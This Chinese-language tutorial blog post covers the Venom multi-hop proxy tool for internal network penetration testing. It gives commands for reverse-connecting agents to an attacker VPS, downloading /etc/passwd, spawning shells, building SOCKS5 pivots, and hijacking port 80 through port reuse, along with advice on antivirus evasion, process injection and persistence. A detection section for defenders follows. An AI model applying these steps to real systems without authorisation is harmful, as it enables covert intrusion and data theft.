Venom多级代理工具:内网渗透测试的集中化与可视化利器

📅 2026/6/20 6:49:02
Venom多级代理工具:内网渗透测试的集中化与可视化利器
1. 项目概述Venom是什么以及它为何是渗透测试的“瑞士军刀”如果你是一名渗透测试工程师、红队成员或者正在学习内网渗透技术那么你一定对“跳板”和“代理”这两个词不陌生。在复杂的网络环境中目标往往隐藏在层层防火墙和内网隔离之后如何稳定、隐蔽地建立一条从攻击者到目标内网的通信通道是决定渗透测试成败的关键。传统的工具链比如使用SSH隧道、reGeorg、frp或者各种socks代理工具往往需要手动串联管理起来繁琐拓扑结构不直观一旦某个节点失联排查起来更是头疼。今天要聊的Venom就是为解决这些痛点而生的一个多级代理管理工具。简单来说Venom是一个用Go语言编写的、专为渗透测试设计的代理工具套件。它的核心价值在于能够将你获取到的多个“肉鸡”我们称之为Agent节点像搭积木一样连接起来形成一个可视化的、树状的多级代理网络。你只需要在一个统一的Admin控制台里操作就能轻松管理所有节点进行文件上传下载、获取交互式Shell、建立Socks5代理、进行端口转发等操作。它把复杂的网络穿透工作变成了在命令行里敲几个简单指令的“可视化”工程。自从它在GitHub上开源以来就因其设计的巧妙和功能的全面在安全圈内获得了广泛的关注和应用。2. Venom的核心设计思路与架构解析2.1 为什么需要多级代理在真实的渗透测试或红队评估中目标网络很少是“门户大开”的。通常我们通过Web漏洞、社会工程学等方式首先拿下一台位于DMZ区或办公网的边缘服务器我们称之为第一跳板。但这台机器可能无法直接访问核心的业务内网。此时我们需要以这台机器为新的起点进行横向移动拿下第二台、第三台机器逐步向纵深推进。每拿下一台机器我们就获得了一个新的网络立足点。Venom的设计哲学正是基于这个现实场景。它不像传统工具那样每个代理链都需要独立的客户端和服务端配置。Venom采用了一个“Admin-Agent”的星型扩展模型。Admin是你的控制中心而每一个被你控制的机器上运行着一个轻量级的Agent程序。Admin可以连接AgentAgent也可以连接另一个Agent从而形成任意层级的树状拓扑。这种设计带来了几个显著优势集中化管理所有操作都在Admin端进行无需登录到每一台肉鸡去启动或配置代理服务。拓扑可视化通过show命令可以清晰地看到当前所有节点的连接关系网络路径一目了然。灵活扩展新节点可以随时加入只需在现有网络的任意一个节点上发起listen或connect即可架构弹性极强。稳定性增强即使中间某个节点失联也只会影响其下游分支Admin和其他分支的节点依然可控便于快速切换路径。2.2 核心组件Admin与Agent理解Venom首先要分清两个核心角色Admin节点这是渗透测试人员自己掌控的主机。它运行admin程序作为整个代理网络的大脑和指挥中心。所有命令从这里发出所有节点的数据在这里汇总和展示。Admin节点通常运行在测试人员的攻击机如Kali Linux上。Agent节点这是被植入到目标网络内部各台主机上的程序。它运行agent程序负责执行Admin发来的指令并在其所在网络环境中充当流量转发器。Agent程序非常轻量提供了多种平台和架构的编译版本从x86/x64的Windows/Linux服务器到ARM/MIPS的路由器、IoT设备都能覆盖。它们之间的通信是双向的既可以由Admin主动连接Agent也可以让Agent反向连接Admin这为应对不同的网络出口限制提供了灵活性。2.3 节点间通信与加密在对抗激烈的环境中代理流量如果以明文传输很容易被防守方的IDS/IPS识别和拦截。Venom在设计之初就考虑到了这一点支持可选的节点间通信加密功能。通过-passwd参数可以为Admin和Agent指定一个相同的密码。这个密码会被用于生成AES加密算法的密钥对Admin与Agent之间所有的控制指令和数据流量进行加密。这意味着即使流量被捕获在没有密码的情况下也无法解密出原始内容大大增强了操作的隐蔽性。注意加密功能需要Admin和所有Agent在启动时使用相同的密码。如果密码不一致节点将无法成功建立加密连接。建议在实战中务必使用此功能。3. Venom的实战部署与核心功能详解3.1 环境准备与程序获取Venom是开源项目你可以直接从其GitHub仓库的Release页面下载预编译好的二进制文件。根据你的操作系统Admin端和目标系统Agent端选择对应的版本例如admin_linux_x64,agent_windows_x64.exe,agent_linux_arm等。对于需要高度定制或研究源码的同学也可以使用Go语言环境从源码编译。确保Go版本1.11然后执行go get -u github.com/Dliv3/Venom/... cd $GOPATH/src/github.com/Dliv3/Venom ./build.sh编译后的文件会存放在release目录下。3.2 启动与连接建立你的第一个代理链让我们从一个最简单的场景开始你有一台公网VPS作为Admin并且通过漏洞获取了一台目标内网Web服务器Agent 1的权限。步骤1在Admin节点你的VPS上启动监听。./admin_linux_x64 -lport 9999 -passwd MySecretPassword123这条命令让Admin在本地9999端口监听并设置了连接密码。步骤2在Agent 1节点Web服务器上连接Admin。将对应的agent程序上传到目标服务器并执行./agent_linux_x64 -rhost [你的VPS公网IP] -rport 9999 -passwd MySecretPassword123如果网络连通你会看到Admin端提示有新节点连接成功。此时一个最简单的单级代理就建立好了。步骤3使用show命令查看拓扑。在Admin的命令行界面会显示(admin node) 提示符输入show你会看到类似A - 1的拓扑表示AdminA直接控制着节点1。步骤4进入节点进行操作。要操作节点1需要使用goto命令切换到该节点上下文goto 1提示符会变为(node 1) 这意味着后续命令都将在节点1上执行。3.3 核心功能命令实战解析一旦建立了连接Venom的强大功能就通过一系列内置命令展现出来。以下是在(node 1) 提示符下可用的关键命令3.3.1 文件操作upload/download内网渗透中上传工具和下载数据是高频操作。Venom集成了稳定的文件传输功能。上传将本地的nmap扫描器上传到节点1的/tmp目录。upload /usr/bin/nmap /tmp/nmap传输过程有进度条显示对于大文件100M会有确认提示。下载从节点1下载发现的敏感文件/etc/passwd到本地。download /etc/passwd ./passwd_from_target.txt实操心得Venom的文件传输是稳定可靠的但在网络延迟高或不稳定时传输大文件可能会中断。对于超大型文件如数GB的数据库备份建议先在目标机上用split命令分割再分批下载。3.3.2 获取交互式Shellshell这是最直接的控制方式。执行shell命令你会直接获得一个目标节点的交互式Shell可以执行whoami,ifconfig,netstat等命令探查信息。shell bash-4.2$ id uid1001(www-data) gid1001(www-data) groups1001(www-data) bash-4.2$ exit注意事项这个Shell是非交互式的non-interactive意味着不支持sudo需要TTY的交互、不支持top等需要终端控制的程序。对于需要完整TTY的场景可以通过这个Shell再手动用python -c import pty; pty.spawn(/bin/bash)等方式升级。3.3.3 建立Socks5代理socks这是Venom的“王牌”功能之一。假设节点1可以访问另一个更深的网段192.168.2.0/24而我们想直接从本地访问这个网段。socks 1080执行后Admin节点本地会开启一个监听在1080端口的Socks5代理服务。接下来你只需要将你的浏览器、扫描器如Nmap的--proxies选项或任何支持Socks5代理的工具配置为127.0.0.1:1080所有流量就会通过节点1转发出去仿佛你的机器直接接入了节点1所在的网络。3.3.4 端口转发lforward / rforward端口转发用于暴露或访问特定服务比全流量代理的Socks5更加精准。本地端口转发 (lforward)将Admin本地一个端口映射到目标节点的某个端口。 例如节点1上有一个内网的Web服务192.168.1.100:80无法直接访问。我们可以将其映射到本地的8080端口。lforward 127.0.0.1 8080 192.168.1.100 80之后在本地浏览器访问http://127.0.0.1:8080就等于访问了内网的192.168.1.100:80。远程端口转发 (rforward)将目标节点网络中的一个端口映射到Admin本地的一个端口。 例如你想让内网中的另一台机器192.168.1.200能访问你本地的Metasploit监听器4444端口。可以在节点1上执行rforward 192.168.1.200 4444 127.0.0.1 4444这样当内网的192.168.1.200机器连接节点1的4444端口时流量就会被转发到你本地的4444端口。3.3.5 扩展代理网络listen / connect这是构建多级代理的关键。现在假设通过节点1你又拿下了内网中另一台主机称为节点2。在节点1上开启一个监听端口listen 5555在节点2新控制的主机上运行agent程序让其连接到节点1的5555端口./agent_linux_x64 -rhost [节点1的IP] -rport 5555 -passwd MySecretPassword123回到Admin执行show你会看到拓扑变为A - 1 - 2。现在你可以goto 2然后在节点2上执行socks 1081这样就建立了一个通过节点1跳转到节点2的第二级Socks5代理。你的扫描器如果配置为127.0.0.1:1081流量路径就是你 - Admin - 节点1 - 节点2 - 目标。4. 高级特性与隐蔽技巧端口复用端口复用是Venom另一个极具实战价值的功能。它的目的是让Agent程序监听在目标主机上一个已被占用的端口如Web服务的80端口同时不影响原有服务的正常运行。这能有效绕过防火墙对“新开异常端口”的监控实现高度隐蔽。Venom提供了两种端口复用模式适用于不同场景。4.1 模式一SO_REUSEADDR/SO_REUSEPORT通用模式这是利用操作系统的Socket选项实现的。在启动Agent时通过-lhost和-reuse-port参数指定要复用的IP和端口。./agent_linux_x64 -lhost 192.168.1.10 -reuse-port 80 -passwd xxx-lhost必须指定为本机的一个具体IP地址不能是0.0.0.0。-reuse-port后跟要复用的端口号如80。然后Admin像往常一样连接这个IP和端口即可。此时发往该主机80端口的流量会先被Venom的Agent处理。如果Agent判断不是自己的协议数据包则会将其转发给原本监听80端口的服务如Apache。这实现了“寄生”式的复用。注意事项这种模式并非在所有系统和所有服务上都有效。例如在Windows上可以较好复用Apache、MySQL的端口但难以复用RDP、IIS等服务的端口。在Linux上兼容性相对较好。4.2 模式二基于iptables的转发Linux专属这种方法更底层利用Linux的iptables防火墙规则进行流量转发理论上可以复用任何TCP端口。它需要root权限运行Agent。sudo ./agent_linux_x64 -lport 8080 -reuse-port 80这条命令的含义是Agent实际监听在8080端口但通过iptables规则将到达80端口的流量转发到8080端口。Admin连接时依然连接目标的80端口。这种模式的精髓在于其“开关”机制。为了避免Agent进程意外退出如被kill -9导致iptables规则残留进而使原80端口服务不可用Venom配套了一个Python脚本scripts/port_reuse.py来控制规则的启用和关闭。使用流程在目标Linux主机上以root权限启动Agent监听一个空闲端口如8080并声明要复用80端口。在你的攻击机上运行port_reuse.py脚本发送一个特殊的TCP包去“激活”目标机上的iptables转发规则。python port_reuse.py --start --rhost 192.168.1.10 --rport 80此时Admin才能成功连接到192.168.1.10:80。操作结束后运行以下命令关闭转发规则恢复80端口正常服务python port_reuse.py --stop --rhost 192.168.1.10 --rport 80核心技巧第二种模式隐蔽性极高因为Agent进程本身并不直接绑定在敏感端口上。防守方检查netstat -antp看到80端口仍然是Apache在监听但实际上流量已经被“劫持”转发。这是绕过端口监控的利器。5. 典型实战场景与操作流程让我们构建一个稍复杂的模拟场景串联使用上述功能。场景你通过一个Web漏洞获得了公网一台应用服务器跳板机AUbuntu的Webshell。该服务器处于DMZ区内网网卡IP为172.16.1.20。通过它你发现内网存在一个172.16.2.0/24的网段其中有一台数据库服务器目标机BWindows存有核心数据。目标在你的本地KaliAdmin上直接对172.16.2.0/24网段进行扫描并访问数据库服务器的远程桌面RDP服务。操作步骤上传并启动Agent A通过Webshell将agent_linux_x64上传到跳板机A并运行让其反向连接你的公网VPSAdmin。# 在跳板机A上执行 chmod x agent_linux_x64 ./agent_linux_x64 -rhost [你的VPSIP] -rport 9999 -passwd [密码]Admin连接与管理你的VPS上Admin显示节点1上线。goto 1后先用shell命令简单探查。shell ifconfig # 发现内网网卡 eth1: 172.16.1.20 ping 172.16.2.1 # 可以通确认网络可达 exit建立一级Socks代理在节点1上建立Socks5代理以便本地工具能访问172.16.1.0/24网段。socks 10800横向移动至目标机B利用节点1的代理使用你的渗透框架如Metasploit设置代理为127.0.0.1:10800对172.16.2.0/24进行扫描和攻击最终在目标机BWindowsIP: 172.16.2.100上获得权限。上传并启动Agent B通过已建立的通道将agent_windows_x64.exe上传到目标机B并执行。此时需要让Agent B连接到Agent A。在Admin端先在节点1上开启一个监听端口。# 在Admin端确保在节点1的上下文中 listen 5555然后在目标机B上运行agent_windows_x64.exe -rhost 172.16.1.20 -rport 5555 -passwd [密码]构建二级代理网络回到Admin执行show看到拓扑A-1-2。goto 2切换到目标机B节点。实现最终目标扫描内网在节点2上再开一个Socks5代理(node 2) socks 10801。现在你的扫描器配置为127.0.0.1:10801流量路径就是Kali - VPS(Admin) - 跳板机A - 目标机B - 更深的内部网络。访问RDP目标机B的RDP服务3389在内网。我们可以使用lforward将其映射到本地。lforward 127.0.0.1 13389 172.16.2.100 3389现在在你的本地Kali上用rdesktop连接127.0.0.1:13389就可以访问到内网数据库服务器的远程桌面了。通过这个流程Venom将复杂的多级内网穿透简化成了清晰的几个步骤并且整个代理链的拓扑清晰可见管理起来非常方便。6. 常见问题、排查技巧与防御思考6.1 常见问题与解决方案在实际使用中你可能会遇到以下问题问题现象可能原因排查与解决思路Agent启动后Admin无法连接1. 网络不通防火墙、路由2. 密码不一致3. 端口被占用或未监听1. 在Agent主机上用telnet或nc测试到Admin端口的连通性。2. 检查-passwd参数是否完全一致区分大小写。3. 在Admin端用netstat -ant | grep [PORT]检查端口是否在监听。show命令看不到新连接的节点拓扑未同步在Admin节点执行show命令后新节点的信息才会同步到管理界面。这是正常流程记得每次新增节点后show一下。Socks5代理或端口转发建立失败1. 目标端口已被占用2. 权限不足如Linux上绑定1024以下端口3. 节点上下文错误1. 换一个本地空闲端口。2. 对于Linux尝试用root权限运行Admin或使用大于1024的端口。3. 确认你是在正确的节点goto [id]下执行命令。文件传输中断或速度极慢网络不稳定或延迟高1. 尝试分块传输小文件。2. 在网络条件好的时段操作。3. 考虑先在目标机压缩文件再传输。端口复用模式二失效1. 未使用port_reuse.py脚本激活2. iptables规则被清除3. 目标系统无iptables如Windows1. 确认已执行python port_reuse.py --start ...。2. 检查目标机iptables规则是否存在。3. 模式二仅适用于LinuxWindows请使用模式一。6.2 提升隐蔽性与稳定性技巧加密是必须的永远使用-passwd参数。明文传输的代理流量是安全设备的重点检测对象。善用端口复用在需要高度隐蔽的长期驻留场景优先考虑端口复用避免新增开放端口。Agent程序免杀与隐藏上传的agent二进制文件可能被AV/EDR查杀。需要事先进行混淆、加壳或源码级修改。运行后可考虑重命名进程、注入到合法进程等方式隐藏。设置守护进程在Linux上可以用nohup或systemd服务将agent设为后台守护进程在Windows上可注册为服务。网络超时与重连Venom自身在网络中断后的重连机制可能不够健壮。可以编写外部监控脚本定期检查agent进程和连接异常时自动重启。流量伪装进阶Venom本身不提供流量伪装。在严格监控的网络中可以考虑在Admin与第一个Agent之间套一层加密隧道如SSH隧道或者使用基于HTTPS等合法协议的工具如reGeorg作为第一跳再用Venom管理内网。6.3 从防御视角看Venom了解攻击工具才能更好地防御。作为防守方蓝队可以通过以下迹象发现Venom的活动异常进程与网络连接检查服务器上是否存在未知的、名称可疑的进程如agent_linux_x64。查看异常的外连或监听连接特别是与已知恶意IP的通信。端口复用检测对于Linux检查iptables中是否存在非常规的转发规则iptables -L -n -t nat。对于任何服务端口监控其上的协议是否突然“多了一种”。可以通过发送非Venom协议的数据包并分析响应来探测。流量特征分析虽然Venom支持加密但其握手协议和心跳包可能存在固定模式。在网络边界部署IDS/IPS可以通过深度包检测DPI分析TLS/SSL以外的加密流量特征建立威胁模型。主机行为监控Agent会进行文件操作、创建Shell进程、建立新监听端口等。EDR产品可以通过行为序列检测这些异常活动。Venom是一款设计精良的渗透测试工具它将多级代理的复杂管理变得简单直观。无论是用于授权的渗透测试、红队演练还是作为学习内网渗透技术的实验平台它都具有极高的价值。当然任何技术都是双刃剑在使用它时务必确保你的行为在法律和授权许可的范围内。工具本身无罪关键在于使用它的人。